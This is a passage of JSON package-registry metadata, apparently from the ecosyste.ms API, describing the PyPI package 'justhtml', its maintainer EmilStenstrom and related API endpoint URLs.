osts/GitHub/authors/EmilStenstrom"}],"active_maintainers":[{"login":"EmilStenstrom","count":5,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/EmilStenstrom"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/justhtml/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/justhtml/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/justhtml/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/justhtml/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/justhtml/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/justhtml/codemeta","maintainers":[{"uuid":"EmilStenstrom","login":"EmilStenstrom","name":null,"email":null,"url":null,"packages_count":6,"html_url":"https://pypi.org/user/EmilStenstrom/","role":"Owner","created_at":"2025-11-30T13:34:04.853Z","updated_at":"2025-11-30T13:34:04.853Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers/EmilStenstrom/packages"}]}